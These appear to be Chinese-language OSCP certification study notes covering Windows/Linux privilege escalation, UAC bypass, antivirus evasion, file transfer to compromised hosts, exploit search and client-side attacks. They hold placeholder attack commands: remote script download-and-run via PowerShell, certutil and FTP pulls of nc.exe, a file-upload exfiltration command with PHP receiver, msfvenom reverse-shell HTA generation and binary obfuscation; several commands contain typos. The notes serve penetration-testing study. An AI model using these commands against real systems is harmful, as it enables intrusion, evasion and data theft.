#显示当前用户的完整性级别

需要通过UAC用户访问控制切换完整性界别

powershell.exe Start-Process cmd.exe -Verb runAs
#以Administer启用cmd

UAC绕过

UAC绕过只针对特定版本
常见的UAC绕过可通过fodhelper.exe(<Win10 build 1709)绕过

sigcheck.exe -a -m c:\windows\system32\fodhelper.exe
#利用Sysinternal中的工具包查看manifest,某些版本是requireAdministrator,并且auroElevate

fodhelper.exe的绕过可以有如下方法
使用Process Monitor检查该程序的执行过程
先启动procmon.exe,再运行fodhelper.exe,过滤筛选fodhelper.exe的执行操作
增加搜索Reg关键字的过滤规则,只显示fodhelper.exe的注册表相关操作
增加搜索NAME NOT FOUND报错消息过滤规则,表示fodhelper在访问不存在的注册表项
再将其筛选改成SUCCESS,表示已经访问到的键值
以此反复找到一个可以利用的注册表运行任意指令

文件权限漏洞

通过替换某些高权限的系统程序,植入后门

Get-WmiObject win32_service | Select-Object Name,State,PathName | Where-Object {$_.State -like 'Running'}
#查询所有服务路径
icacls "<FILE>'
#F为完全控制

服务路径未引号闭合

如果有空格的文件路径未用引号闭合将会以空格为分割,寻找可执行文件

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program  Files\My Program\My service\service.exe

内核漏洞

systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
#检测系统版本、架构
driverquery /v
#检测驱动(可以通过exploitdb搜索已知漏洞)
type <DRIVERNAME>.inf
#查看驱动信息

Linux权限系统

文件权限漏洞

cron调度任务等脚本执行后门漏洞

/etc/passwd权限漏洞

如果文件全局可读写可添加管理员权限

内核漏洞

也同样可以通过exploitdb搜索已知漏洞

OSCP学习笔记(9)——防病毒规避

PE文件检测

PE(Portable Executable)可执行文件,该文件酱油Windows加载器执行代码、引用库、导入和导出API表等
检测方法一般如下
1. 基于字符特征的检测方法(静态)
2. 启发式检测方法(单步跟踪/静态分析)
3. 基于行为的检测方法(动态)

AV(Anti Virus)躲避技术

一般来说分磁盘/内存两种

磁盘

  1. 打包(修改特征码、减小体积)
  2. 混淆(花指令、重组等)
  3. 加密Crypters(改变可执行代码,在内存中执行加密文件)
  4. 软件保护(反逆向、反调试、虚拟机检测)

内存

一般流程如下
1. 利用Windows API向正常PE进程注入攻击代码
2. 获得目标进程Handle并分配空间
3. 将恶意代码注入到新分配内存中
4. 执行内存中的恶意代码

除此之外还有反射DLL注入技术、进程挖空技术、内连挂载技术等
下面有一种使用Powershell的内存注入方法
Todo:有空再补

Shellter

Windows下动态shellcode注入工具,在kali中使用时需要借助Wine环境
原理如下

对PE文件进行深入分析,将payload注入到另一个正常文件之中
改变PE文件的Section权限,并创建新的Section
使用现有的PE Import Address Table(IAT)条目来定位将用于内存分配、传输和执行负载的函数
省流:将Payload加载到一个正常的程序中

sudo apt install wine
sudo dpkg --add-architecture i386&apt update&apt -y install wine32
shellter

OSCP学习笔记(8)——传输文件

传输文件一般发生在后渗透测试阶段,即已经突破边界并在目标主机上获取初始低权限账户
一般的任务有:
1. 权限提升
2. 权限维持
3. 横向渗透

FTP

以pure-ftpd为例,安装并设置用户权限

apt install pure-ftpd
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null-s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
#这里的offsec是ftp账号,映射到系统账号ftpuser,并设置密码
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd

非交互SHELL升级

利用python的pty模块可以获取伪终端

python =c 'import pty; pty.spawn("/bin/bash")'

针对bash还有其他方法获取完整功能终端

bash
#先让自己处于bash环境
python =c 'import pty; pty.spawn("/bin/bash")'
#先创建伪终端
^Z
#Ctrl+Z置入后台
stty raw -echo
#命令将终端设置为原始模式
fg
#按ctrl+z时,进程将挂起并停止。使用 fg,您可以将挂起的作业移动到前台,使用 bg,您可以在后台运行它。
export SHELL=/bin/bash
export TERM=screen
#这是Shell环境变量
stty rows 40 columns 128
#修改shell大小
reset
#重置终端的状态

Windows文件传输

Linux有curl、netcat、wget等文件,但是Windows上只默认包含FTP且无法获得交互终端
可以取巧使用文件传输指令

echo open <HOST> 21>ftp.txt
echo USER offsec>>ftp.txt
echo lab>>ftp.txt
echo bin >ftp.txt
echo GET nc.exe >ftp.txt
echo bye >ftp.txt
ftp -v-n -s:ftp.txt

也可以使用vbs/powershell脚本下载文件的

powershell.exe (New-Object System.Net.WebClient).DownloadFile('<URL>','<FILE>')
#下载文件并保存
powershell.exe TEX (New-Object System.Net.WebClient).DownloadString('<URL>')
#直接运行脚本

其他方法

certutil.exe -urlcache -split -f "<URL>" <FILE>
#Windows自带工具,需要在管理员权限的命令提示符或 PowerShell 终端中执行
rdesktop -u <USER> a.b.c.d -p <PASSWORD> -g 1200x900 -x 0x80 -r sound:local -r disk:LinuxPictures=<DIR>
#远程桌面连接同时挂载共享文件夹、建议别折腾,直接用Windows

上传文件也是可以的

powershell.exe (New-Object System.Net.WebClient).UploadFile('<URL>','<FILE>')

对应的PHP后端

<?php
    $uploaddir='/var/www/uploads/';
    $uploadfile $uploaddir.$_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'],$uploadfile);
?>

文件混淆/绕过

压缩打包二进制文件

upx -9 nc.exe
#使用 UPX 压缩工具对 nc.exe 文件进行压缩,压缩级别为最高压缩比
exe2hex -x nc.exe -p nc.cmd
#将 nc.exe 文件转换为十六进制格式,并将结果输出到 nc.cmd 文件中
powershell nc.cmd
#在 PowerShell 终端中执行 nc.cmd 文件,这将导致 nc.exe 文件被解码并在系统中执行

OSCP学习笔记(7)——EXP收集、利用、修复

EXP搜索

可以通过一些联网数据库获得
Exploit-DB已知漏洞及POC等
Sync开源漏洞数据库
也可以通过kali自带的searchsploit查找(Exploit-db离线版)

searchsploit <NAME> <VERSION>

msf里面也有

msfconsole
search <NAME>

EXP利用

在msf/exploit-db中有一些ruby/python/lua/c的exp,使用之前需要修改、查看文件了解功能,更改参数
有可能存在同一漏洞、不同版本不同系统的EXP

EXP修复

  1. 缓存区溢出
    需要注意的有文件路径、IP地址、端口、URL、偏移量、返回地址、跳转指令
    对于不同系统的EXP可能需要mingw-64跨平台编译
apt install mingw-w64
i686-w64-mingw32-gcc -lws2_32 [INFILE] [-o {OUTFILE}] #x86架构编译并且链接lws2_32库
  1. WEB漏洞
    主要有下面几种
    a. 协议为HTTP/HTTPS
    b. 是否需要访问特定路径或路由
    c. 身份认证前是否可利用漏洞
    d. 清求方法为GET/POST
    c. 证书报错

OSCP学习笔记(6)——客户端攻击

客户端攻击即攻击客户端软件、邮件
例如:浏览器、PDF、OFFICE、邮件附件、恶意链接

Fingerprintjs

Fingerprintjs是一个浏览器指纹库,它可以查询浏览器的属性,并从中计算出一个哈希的访问者标识符。与Cookie和本地存储不同,指纹在隐私模式下和浏览器数据被清除时仍然保持不变。
Github-Fingerprintjs

<script>
  // Initialize the agent at application startup.
  const fpPromise = import('https://openfpcdn.io/fingerprintjs/v3')
    .then(FingerprintJS => FingerprintJS.load())
  // Get the visitor identifier when you need it.
  fpPromise
    .then(fp => fp.get())
    .then(result => {
      // This is the visitor identifier:
      const visitorId = result.visitorId
      console.log(visitorId)
    })
</script>

可以结合一些操作,把信息通过post等方法提交至指定服务端

HTA程序

HTA文件可以被IE作为HTML应用程序执行。兼容ActiveX,支持JavaScript、VBScript,执行任意程序
仅针对IE、Edge有效
可以如下通过msf生成该反弹shell目标载荷

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f hta-psh -o <FILENAME>.hta

Office宏/嵌入对象

文档后缀为.doc或.docm
利用宏执行VBA代码,支持ActiveX、Windows脚本主机
也可以通过嵌入批处理文件/动态数据交换等功能启动任意程序

OSCP学习笔记(5)——缓冲区溢出

下面以x86架构为例

缓存结构


x86架构的计算机最多可管理4GB内存

堆栈

堆栈内存是以LIFO结构被CPU访问(Last-In,First-Out)
函数返回时需要读取返回地址
会存在堆栈溢出操作

CPU寄存器

x86寄存器指令为32位,4个字节,首个字节为操作符
EBP基指针(访问堆栈)<–一般来说程序访问临时变量就在这里
EIP指令指针(命令跳转)<–覆盖这个指令指针可以执行任意指令

Immunity Debugger

一个二进制程序调试器
可以通过断点等方式,跟踪程序执行过程,利用某些EIP指针实现命令执行

TODO:实操